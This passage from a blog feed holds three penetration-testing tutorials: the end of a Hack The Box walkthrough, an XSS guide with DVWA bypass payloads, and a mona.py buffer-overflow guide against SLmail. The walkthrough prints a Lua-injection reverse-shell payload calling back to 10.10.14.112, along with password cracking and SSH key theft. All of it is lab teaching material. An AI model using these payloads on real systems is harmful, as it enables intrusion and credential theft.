report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 2786.73 seconds<br> Raw packets sent: 94 (7.522KB) | Rcvd: 172 (36.766KB)</pre><h3><strong>Port 80 Enumeration</strong></h3><p>From the port scanning we come to know about that the port 80 is open whics is assigned for http ( web service ) . On visiting to the port 80 we find that there is a basic authentication is put up for the web page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*AY2FaN7nfL63BpqM9i8RQw.png" /></figure><p>After that i want to see source code of the page but there also it want username and password . Next step is directory bruteforcing.</p><p><strong>Command :</strong></p><pre><strong><em>dirsearch -u http://10.10.10.218/ -E</em></strong></pre><p><strong>Output :</strong></p><pre> <strong> _|. _ _  _  _  _ _|_    v0.4.0<br> (_||| _) (/_(_|| (_| )</strong></pre><pre>Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 20 | Wordlist size: 10023</pre><pre>Error Log: /root/dirsearch/logs/errors-21–03–26_23–40–21.log</pre><pre>Target: <a href="http://10.10.10.218/">http://10.10.10.218/</a></pre><pre>Output File: /root/dirsearch/reports/10.10.10.218/_21–03–26_23–40–22.txt</pre><pre>[23:40:22] Starting: <br>[23:41:38] 200–612B — /index.html<br>[23:42:01] 200–78B — /<strong>robots.txt</strong></pre><pre>Task Completed</pre><p>Here we found robots.txt, let see the content of robots.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*9lI8DWCUTcQJ-QvCYW8Z8A.png" /></figure><p>There is entry of weather directory and also a comment which gives us hint that on weathr directory there is 404 but still something is present on it , so now we have to visit on /weather directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xU3BQ4hQSSg4Tv_UNlEvIg.png" /></figure><p>As they said there is 404. But according to their hint something is present in directory , again we move toward the directory bruteforcing inside weather directory.</p><p><strong>Command:</strong></p><pre><strong><em>dirsearch -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.218/weather -E</em></strong></pre><p><strong>Output :</strong></p><pre><strong>dirsearch -w /usr/share/seclists/Discovery/Web-Content/directory-li</strong>st-2.3-medium.txt -u http://10.10.10.218/weather/ -E</pre><pre>_|. _ _ _ _ _ _|_ v0.4.0<br> (_||| _) (/_(_|| (_| )</pre><pre>Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 20 | Wordlist size: 220520</pre><pre>Error Log: /root/dirsearch/logs/errors-21–03–27_00–19–22.log</pre><pre>Target: http://10.10.10.218/weather/</pre><pre>Output File: /root/dirsearch/reports/10.10.10.218/weather_21–03–27_00–19–22.txt</pre><pre>[00:19:22] Starting: <br>[00:20:47] 200–90B — /<strong>weather/forecast</strong><br>CTRL+C detected: Pausing threads, please wait…</pre><p>We find forecast directory inside the weather and also we get hint to move forward, which is city=list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*asOBJ1661oRdWp-8DHzyzw.png" /></figure><p>Now we have to pass the city variable with list parameter as we seen in forecast page .</p><pre><strong>http://10.10.10.218/weather/forecast?city=list</strong></pre><p><strong>Output :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iSD86JuFdx9tT8xapFiqQ.png" /></figure><p>we get city name list to pass into the city .</p><pre><strong>http://10.10.10.218/weather/forecast?city=London</strong></pre><p><strong>Output :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03pFa-sGGBcRabskr0w3Ig.png" /></figure><p>We could not found any interesting thing inside this city name . On passing single quote there is some error .</p><pre><strong><em>http://10.10.10.218/weather/forecast?city=London’</em></strong></pre><p><strong>output :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUtHXsCQqb3TLi5WsKUceA.png" /></figure><p>Error is about the Lua script . Let search for the Lua on <strong>gtfobins</strong></p><pre><a href="https://gtfobins.github.io/#"><strong>https://gtfobins.github.io/#</strong></a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*z7NOXfgY379LgCDqd41YEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*P-itVKbfBMn2pkGNTx9MUA.png" /></figure><p>we found a function through which we can execute system command. From the output of nmap we come to know that the OS is running on this machine is openBSD . Now search for reverse shell for openBSD on github.</p><pre><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology"><strong>https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology</strong></a><strong> and Resources/Reverse Shell Cheatsheet.md</strong></pre><p>On this website we find all the oneliner reverse shell . We get reverse shell for BSD .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*D3c29oyBp21msNCePMm9YQ.png" /></figure><p>Now we have to make a payload to get the reverse shell.</p><pre><strong>http://10.10.10.218/weather/forecast?city=London‘);os.execute(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.112 4455 &gt;/tmp/f”)-- </strong></pre><p>Here,</p><p>10.10.14.112 : Localhost of htb</p><p>4455 : port to get the reverse connection.</p><p>Now encrypt the payload.</p><pre><a href="http://10.10.10.218/weather/forecast?city=London%27)%3Bos.execute(%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.112%204455%20%3E%2Ftmp%2Ff%22)--">http://10.10.10.218/weather/forecast?city=London%27)%3Bos.execute(%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.112%204455%20%3E%2Ftmp%2Ff%22)--</a></pre><p>Start the Listner on port 4455</p><pre><strong>nc -nlvp 4455</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*nicScgL32A9a6pOM6wDJXg.png" /></figure><p>Now visit to the encrypted url and grab the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*lyCltTAUUcwZU3MnkQcx1g.png" /></figure><p>We get shell of <strong>_httpd </strong>user.</p><p>On visiting home directory we find that there is 1 user <strong>r.michaels</strong></p><p>I find .htpasswd file on analysing /var/www directory</p><pre>$ cd /var/www</pre><pre>$ ls -lah</pre><pre>$ cat .htpasswd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*rEO26aLkcJ-kl21iEsAfQg.png" /></figure><p>We get a username and password hash .</p><p>To identify hash we use hash-identifier</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*iWz1bpTAY0ZyxAnoLZMlMw.png" /></figure><p>We come to know that the hash is MD5(unix).</p><p>Now we have to crack the hast using hashcat.</p><pre><strong>hashcat --help | grep -i unix</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z78zxvvcov5CbU7Oc1lscQ.png" /></figure><p>500 is our hash number.</p><p>Now make ka file and put our hash inside it. for example : hash.txt</p><p>Run the following command to crack the hash .</p><pre><strong>hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt</strong></pre><p>On completing this command run :</p><pre><strong>hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt --show</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*-2OoOfDWFo7OC1OGVT2i1Q.png" /></figure><p>password for the hash is <strong>iamthebest</strong></p><p>Now we have valid credentials .</p><p><strong><em>webapi_user : iamthebest</em></strong></p><p>This successfully work on the port 80 basic authentication , but htere is nothing special found.</p><p>Remember that ,on port 80 when we cancle the authentication then there is address 127.0.0.1:300 According to this run the command</p><pre><strong><em>netstat -an</em></strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*76WSSBv2aw8-rimehN1Dbw.png" /></figure><p>we found port 3000 and 3001 is running locally .</p><p>I have putted linpeas.sh script on the shell using curl</p><pre>curl <a href="http://10.10.14.112/linpeas.sh">http://10.10.14.112/linpeas.sh</a> --output /tmp/linpeas.sh</pre><pre>chmod +x linpeas.sh</pre><pre>./linpeas.sh</pre><p>I get interesting thing which give me idea to use curl command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Brk3h9s5DSxynLXyrxkzw.png" /></figure><pre>r.michaels 185 0.0 0.0 35268 2008 ? Is 5:57AM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www</pre><p>Now we use curl command to grab the ssh private key of the user</p><pre><strong><em>curl --user webapi_user:iamthebest 127.0.0.1:3001/~r.michaels/id_rsa</em></strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*_zJuIve7liAJA-eUszdmJQ.png" /></figure><p>Finally we get the ssh private key.</p><p>Come back to your attacker pc make a file id_rsa and and puth the whole key inside it . Give the permission of 600 to id_rsa and now our key is ready .</p><pre><strong># vim id_rsa (put the key inside it)</strong></pre><pre><strong># chmod 600 id_rsa</strong></pre><p>Now login to ssh for user r.michaels using id_rsa</p><pre><strong>ssh -i id_rsa r.michaels@10.10.10.218</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*NRjhNKIvbly_TBa7ajCydw.png" /></figure><p>We get the user shell. Grab the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*lVOwJZu0eZeW3a96_rKvKQ.png" /></figure><p>Now we have to root the machine.</p><p>On analysing directiories again I found hash inside /var/www/.htaccess</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*VWA7whwEGquzScGTmaGvjw.png" /></figure><p>Crack the hash same as privious hash and we get the password <strong>littlebear</strong></p><p>Now try this password to root the machine.Run the following command</p><pre>doas su</pre><p>Enter the password : littlebear</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dY28ItRrxu2tdyDJtnCFDw.png" /></figure><p>Finally we get root shell. Grab the root flag /root/root.txt and submit it .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*aQRULAUMFQHHs3QFG9Xe0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*fHRFck-sfNpggQ8MQI531A.png" /></figure><p>And the happiness of seeing this window is on next leve 😍😍.</p><p><strong>HAPPY HACKING…!!</strong></p><blockquote><strong><em>Thank You for reading this blog.</em></strong></blockquote><blockquote><strong><em>If you have any Doubt regarding this then feel free to contact with me</em></strong></blockquote><blockquote><strong><em>You can contact me on linkedin and twitter</em></strong></blockquote><ul><li><a href="https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/">Dheeraj Deshmukh - Armour Infosec - Indore, Madhya Pradesh, India | LinkedIn</a></li><li><a href="https://twitter.com/dheeraj_deshmuk">JavaScript is not available.</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea85dcd5118e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS(Cross Site Scripting) : The Known Vulnerability]]></title>
            <link>https://dheerajdeshmukh.medium.com/xss-cross-site-scripting-the-known-vulnerability-30f40e49d0b7?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/30f40e49d0b7</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Sun, 14 Mar 2021 22:11:29 GMT</pubDate>
            <atom:updated>2021-03-14T22:11:29.383Z</atom:updated>
            <content:encoded><![CDATA[<h3>XSS(Cross Site Scripting) : The Known Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-2FTeQ03WUBTcWGA7is_A.jpeg" /><figcaption>image by netsparker</figcaption></figure><p>Hello Everyone, in this blog we are going to learn all about XSS( cross site scripting) attack.This is well known and most comman vulnerability found in web application . In this we cover what is xss , types of xss : Reflected Xss , Stored Xss , DOM-Based Xss , Practical of all types of xss , Payloads to bypass the xss, Prevention from xss attack and much more . Let start…</p><p>XSS ( Cross Site Scripting ) is a client side attack and it is a type of an Injection attack . In OWASP top 10 it holds third position (A3) since 2010 and still remain same . Xss is a attack in which attacker inject a malicious script in the input field or in a url of any web page or web application then this type of vulnerability is known as cross site script ( XSS ) . In this attack the scripting language is used is java script which included into the html page with the script tag for eg :- <em>&lt;script&gt; This is java script code &lt;/script&gt;</em>. The highest impact of this attack is stealing cookie ( which means the theft of th active session of any web page without any authentication) and Sometime by chaning the vulnerability we get RCE ( Remote Code Execution).</p><h3>The Flow of XSS Attack :</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*9dGlqYIZkmMSMh8zMI_oiQ.png" /><figcaption>image by KitPloit</figcaption></figure><p>The flow of xss attack is complete in the following five steps .</p><h4>Step : I</h4><p>Attacker make a url which contains malicious script which steal sensitive data of the user who open this link . Send this url to the user through social engineering attack. ( ATTACKER → USER )</p><h4>Step : II</h4><p>Attackers social engineering is perfect , user traped into it and open the malicious link , when he open the url it make a request to the webserver to load the url . ( USER → WEB-SERVER )</p><h4>Step : III</h4><p>Web server include the malicious script in its response to the user . ( WEB-SERVER → USER )</p><h4>Step : IV</h4><p>Now user browser store the malicious script in the response of the webserver as a trusted response and execute it. ( USER’S BROWSER)</p><h4>Step : V</h4><p>Whenever browser execute the malacious script of the attacker , sensetive information of the user is sent to the attackers server . ( USER-BROWSER → ATTACKER)</p><p>In this way the whole process of the cross site script attack takes place .</p><h3>Types of Xss Attack :</h3><p>There are three types of Xss attack</p><ul><li>Reflected Xss</li><li>Stored Xss</li><li>DOM-Based Xss</li></ul><h3><strong>1. Reflected Xss</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCb1stkokhAh_Bm1Mx5MGg.jpeg" /><figcaption>image by sqreen blog</figcaption></figure><h4>→ Introduction :</h4><p>Reflected xss is one of the simplest attack . Its clear from the name that it reflect something. In reflected xss there is a input section in the web page in which user input something and all the content that user enter is reflects on the web page ( means visible on the web page ) .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*F5l7J6NiufI-PVQXAfterg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*vZ75GhgkXzxWbIzB5XdfcA.png" /></figure><p>In above exapmle I entered my name which is reflected back.</p><h4><strong>→ Exploiting Reflected Xss :</strong></h4><p>Following steps are taken to exploit reflected xss</p><ul><li>User login to the application.</li><li>Attacker give a malicious url to the user.</li><li>User requests the malicious url to the web server.</li><li>Server respond with the attackers java script.</li><li>Attackers java script execute’s in user’s browser.</li><li>User browser sends cookies and tokens to the attacker.</li><li>Session of the user is hijacks by the attacker using the cookies and token.</li></ul><h4>→ Examples and Payloads To Bypass Reflected Xss</h4><p>We have web page which is vulnerable to reflected xss we use all the condition from low to high level on the same web page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*zOjWhVH5fWR8me81PD47jg.png" /></figure><ul><li><strong><em>Security : low</em></strong></li></ul><p>To bypass this we use following payload , this payload pop a aleart message if it execute successfully.</p><blockquote>→ Payload : &lt;script&gt;alert(“HACKED”)&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*cpmDGB387GwWb7eQ8GLaVA.png" /></figure><p>Inject a script to bypass xss .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*m1O3LeMY0xeo72ZXb-n4_Q.png" /></figure><p>Script successfully inject and Bypass the xss.</p><ul><li><strong><em>Security : Medium</em></strong></li></ul><blockquote>→ Payload : &lt;Script&gt;alert(“Hacked Medium Level”)&lt;/Script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*MzoAO9jIllRpCrXgyPwmgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*P-I3-XRR09IeLk-O0Je2OQ.png" /></figure><p>Sussessfully Bypass Medium Level By using the above payload.</p><p>In the code of this medium level &lt;script&gt; this tage is blocked and we simply use the uppercase S ( you can change any letter ) in script tag to bypass this security.</p><ul><li><strong><em>Security : High</em></strong></li></ul><blockquote>→ Payload : &lt;img src=x onerror=alert(“HACKED”)&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*krTNEQnkWf9Ff_ehUWE1jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*5H1WJMuth2tUwgzEWx8Fjw.png" /></figure><p>In this script tag is blocked in both cases thats why we use image tag to bypass this security.</p><h3>2. Stored Xss</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*bgDBahwbhBxL6CQF0NC0NA.png" /><figcaption>imsge by AppSec io</figcaption></figure><p>Stored Xss is most dangerous vulnerability . In stored xss web page stores the the data into the database for the later use without any validation and input sanitization which leads to store the malicious script into the database which is inserted by the Attacker. By this vulnerability all the user are affected who access to that stored data which was inserted by the attacker as a result attacker successfull in its intensions and hijack the sessions of all the users who access that data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*TCseSeg2es1Fd_XhYoAzFQ.png" /></figure><p>This is an example of stored xss which stores the messages from DVWA.</p><h4>→ Exploiting Stored Xss :</h4><p>Following steps are taken to exploit reflected xss</p><ul><li>Attacker Post or Submit malicious script to the application</li><li>User login to the application.</li><li>User view the attacker’s post or comments.</li><li>Server respond with the attackers java script.</li><li>Attackers java script execute’s in user’s browser.</li><li>User browser sends cookies and tokens to the attacker.</li><li>Session of the user is hijacks by the attacker using the cookies and token.</li></ul><h4>→ Examples and Payloads To Bypass Stored Xss</h4><p>We have web page from DVWA which is vulnerable to stored xss we use all the condition from low to high level on the same web page .</p><ul><li><strong><em>Security : Low</em></strong></li></ul><p>Insert payload in message section.</p><blockquote>→Payload :- &lt;script&gt;alert(“HACKED”)&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*oRswgNfclD0-2WdCxK7C5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*o54PG4C5Yd9qfGKvU49AQw.png" /></figure><p>Successfully bypass , all the time when user visite to this site it will pop up the alert window.</p><ul><li><strong><em>Security : Medium</em></strong></li></ul><p>In medium level we have to inseart payload in name section but in the code the max value of name is only 10 so we have to edit the code from the inspect element section and change it to 100 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*gah-ZRCuHVzNcFPphKmNMg.png" /></figure><p>Insert payload in Name section .</p><blockquote>→Payload : &lt;script&gt;alert(“HACKED”)&lt;/script&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*f_88aJbea6vLWOq74-XQvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*0EAwJ2Pt7E2jweOogOqbEQ.png" /></figure><p>Successfully bypassed when we extend the length of name section.</p><ul><li><strong><em>Security : High</em></strong></li></ul><p>In this also we have to inseart payload on name section , so again we have to increase the length of the name section .</p><blockquote>→ Payload : &lt;svg/onload=alert(&quot;HACKED&quot;)&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*pBf3UmM64YafU4Pjj3maSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*JAKtfA9ouEO5eGyLWwgicA.png" /></figure><h3>3. DOM-Based Xss</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P8S2A3DtZQZ7baI9IaJF5A.jpeg" /><figcaption>image by netsparker</figcaption></figure><p>we will discuss dom-based xss in the second part of the xss blog in detail.</p><h3>Prevention methods from xss</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*u_HXvXmJIsYZQnoXIfZzjQ.png" /><figcaption>image by Snyk</figcaption></figure><ul><li>Never Insert Untrusted Data Except in Allowed Locations.</li><li>HTML Encode Before Inserting Untrusted Data into HTML Element Content.</li><li>Attribute Encode Before Inserting Untrusted Data into HTML Common Attributes.</li><li>JavaScript Encode Before Inserting Untrusted Data into JavaScript Data Values.</li><li>URL Encode Before Inserting Untrusted Data into HTML URL Parameter Values.</li><li>Sanitize HTML Markup with a Library Designed for the Job.</li><li>Avoid JavaScript URLs.</li><li>Use HTTPOnly cookie flag.</li><li>Implement Content Security Policy.</li><li>Properly use modern JS frameworks.</li></ul><blockquote><strong><em>Thank You for reading this blog.</em></strong></blockquote><blockquote><strong><em>If you have any Doubt regarding this then feel free to contact with me</em></strong></blockquote><blockquote><strong><em>You can follow me on linkedin and twitter</em></strong></blockquote><ul><li><a href="https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/">Dheeraj Deshmukh - Armour Infosec - Indore, Madhya Pradesh, India | LinkedIn</a></li><li><a href="https://twitter.com/dheeraj_deshmuk">JavaScript is not available.</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30f40e49d0b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Buffer Overflow Attack ( Part - II)— Mona Script]]></title>
            <link>https://dheerajdeshmukh.medium.com/buffer-overflow-attack-part-ii-mona-script-4336c5f6292f?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/4336c5f6292f</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Tue, 23 Feb 2021 21:28:01 GMT</pubDate>
            <atom:updated>2021-02-23T21:28:01.424Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1BhHySLxKtThD067wyq2g.jpeg" /><figcaption>image from <em>unsplash</em></figcaption></figure><p><strong>Hello Everyone !!</strong> , Hope you have read the first part of buffer overflow attack in which we have discussed in detail about, what is buffer , buffer overflow , buffer overflow attack,types of buffer overflow attack , impact of buffer overflow attack and we exploited SLmail service in which we face some difficulty in finding bad characters which is mitigate by the use of mona.py script . If you have not read the first part then this part is somewhat difficult to understand easily, so i suggest you to read the previous part and then come to the second part. Link to the first part —&gt;<strong> </strong><a href="https://dheerajdeshmukh.medium.com/buffer-overflow-attack-exploit-stack-based-buffer-overflow-6d7dfe33c350"><strong>First-Part</strong></a></p><p>In this blog we are going to learn how to use mona.py script in buffer overflow attack to make it little bit easier.</p><h4><strong>What is Mona Script :</strong></h4><ul><li>Mona.py is a python script that can be used to automate and speed up the specific searches while developing exploits .</li><li>It runs on Immunity Debugger and WinDBG.</li><li>Although it runs in WinDBG x64 .</li><li>It requires <strong><em>python 2.7</em></strong> to run .</li><li>The majority of its features were written specifically for <strong><em>32bit processes</em></strong><em>.</em></li></ul><h3><strong>Download &amp; Setup :</strong></h3><ul><li>Lab setup is given in first part.</li><li>Firstly install python 2.7 , without python script its unable to run.</li><li>We can easily download mona script from its github repository</li><li>Link to Download :<a href="https://github.com/corelan/mona"> https://github.com/corelan/mona</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*8fqP4HElhRaM5HBwqR6gqg.png" /></figure><ul><li>After downloading place the mona file at the given location</li></ul><blockquote>C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bGyh5LY25QcE5hbI-WXQEA.png" /></figure><ul><li>We can run mona command in immunity debugger at the bottom side input box.</li><li>To insure that mona script is in proper working condition we have to open immunity debugger and run the following command .</li></ul><blockquote>!mona help</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_SxlSiiwybUji1rdNJDVLQ.png" /></figure><ul><li>Above output shows that mona is successyfully downloaded and added into the immunity debugger.</li><li>Next step is to make a shared folder between the Attacker Pc and Target Pc</li><li>Suppose our target pc is in virtual box and attacker pc is our actual pc , then we have to make one shared folder between both the pc .</li><li>For making shared folder in virtual box we have to go in the menubar and select devices option , inside the devices option there are further more options are available, from there we have to choose Shared folder option and then select the shared folder setting. In the setting we have to add the shared folder by clicking on the right side green add symbol <strong><em>(remember that the permission of shared folder must be WRITABLE or 777)</em></strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kCQHw1JHEbOmVms7vXM0rg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4I_Aj2K7VNNx2zG-Tqid_A.jpeg" /></figure><ul><li>In my case I set my shared folder : /opt/buffer-overflow/</li><li>Now mount the folder and restart your virtual pc.</li><li>We get shared folder .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A0s-mroDmH6lI3v5UgFyRg.png" /></figure><ul><li>Now we have to set Working Folder for mona ( in which it store its generated files )</li><li>Inside the mounted folder make a folder name mona ( you can give any name )</li><li>Check on attacker pc that mona folder is visible or not . If not visible then you have to give proper permission or check the setting of shared folder.</li><li>Set working folder by using the following command</li></ul><blockquote>!mona config -set workingfolder Z:\mona\%p</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-drJR-G-DyLgPo_CMWVbqQ.png" /></figure><p>Z - Drive (mounted shared folder)</p><p>mona - Folder name ( which we want to set as working folder for mona )</p><p>%p - By using %p switch mona create the file inside the working folder with the name of the currently working service ( For eg :- Im working on SLmail service then mona automatically make SLmail folder inside its working folder)</p><ul><li>Setting Working Folder is Successfully completed.</li><li>All the setup is done and mona script is now ready to use .</li></ul><h4><strong>Use of Mona Script in Exploiting SLmail Service</strong></h4><p><em>In this blog Im giving focus toward the mona script rather than other, that’s why i will skip some points . All the points are explain in detail in first part.</em></p><h3>[*] Crashing the service</h3><blockquote>This step is same as given in part 1</blockquote><h3>[*] Verifying Offset (EIP) and ESP starting</h3><blockquote>This step is same as given in part 1</blockquote><blockquote>Offset value is 2606</blockquote><h3>[*] Finding bad characters</h3><p>We allready know verywell what is bad character and why we need to find them.</p><p>In part 1 we used python script to generate bad character.</p><p>Now we find bad character using mona script.</p><ul><li>Start the SLmail service and run the immunity debugger as admin</li><li>Attach the SLmail in immunity debugger .</li><li>Now set working folder as we discussed above</li></ul><blockquote>!mona config -set workingfolder Z:\mona\%p</blockquote><ul><li>Generate bytearray for finding bad character , command to generate bytearray</li></ul><blockquote>!mona bytearray</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3MFo7ZElHgaelJGLQ0btOg.png" /></figure><ul><li>Bytearray is generated successfully and save at the location opf working folder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGV_lRHOh9R4sCuqGvezhA.png" /></figure><ul><li>Now we have to make Python Script to find bad character using bytearray file</li></ul><pre>#!/usr/bin/python</pre><pre>import sys,socket<br>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre><pre>sock.connect((sys.argv[1],110))<br>sock.recv(1024)<br>buffer = “A” * 2606<br>buffer += “BBBB”<br>buffer += “\x90” * 20<br>buffer += open(“bytearray.bin”,”rb”).read()<br>buffer += “C” * (4000 — len(buffer))<br>sock.send(‘USER username’ + ‘\r\n’)<br>sock.recv(1024)<br>sock.send(‘PASS ‘ + buffer + ‘\r\n’)<br>sock.send(‘QUIT\r\n’)<br>sock.close()</pre><ul><li>Now run the immunity debugger and run this script simultaneously</li><li>Service crashed.</li><li>ESP value is 018BA128</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0ENNUD3449vryu9WtklJA.png" /></figure><ul><li>Now run the following command to find bad character</li></ul><blockquote>!mona compare -f z:\mona\SLmail\bytearray.bin -a 018BA128</blockquote><ul><li>When we run this command popup window come and shows the badcharacters. Here is show bad character is ‘\x00’</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URF1dDBDvr_9RHhnlmkapA.png" /></figure><ul><li>Now we have to again generate bytearray with excluding \x00 for that we have command</li></ul><blockquote>!mona bytearray -cpb ‘\x00’</blockquote><ul><li>Again compare it and find bad character and this process is continue till we get empty bad character section pr unmodified status.</li><li>In this way we can use mona script.</li></ul><h3>[*] Find Return Address ( JMP ESP )</h3><p>For finding JMP ESP we have following command</p><blockquote>!mona jmp -r esp</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*e7pvScS2CJC3FvN95W04CA.png" /></figure><p>Pickup anyone module and note their address.</p><h3>[*] Generate shellcode and Script</h3><p>We have all the value esp address , bad characters , offset values Now generate the shellcode using msfvenome.</p><p>Placed the shell code into the script with 32 nop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/0*Fpm4vuQ_bu531_4R.png" /></figure><ul><li>Our script is complete now .</li><li>Start the listner on attacker pc at port 4455</li></ul><blockquote><em>nc -nlvp 4455</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*XsgRwlS7N7qPiMEq.png" /></figure><h3>[*] Get Reverse Connection</h3><ul><li>Restart SLmail service</li><li>Restart immunity debugger</li><li>Attach the process of SLmail</li><li>Run the Service And run our script</li><li>Boom we get reverse connection of the pc</li></ul><figure><img alt="" 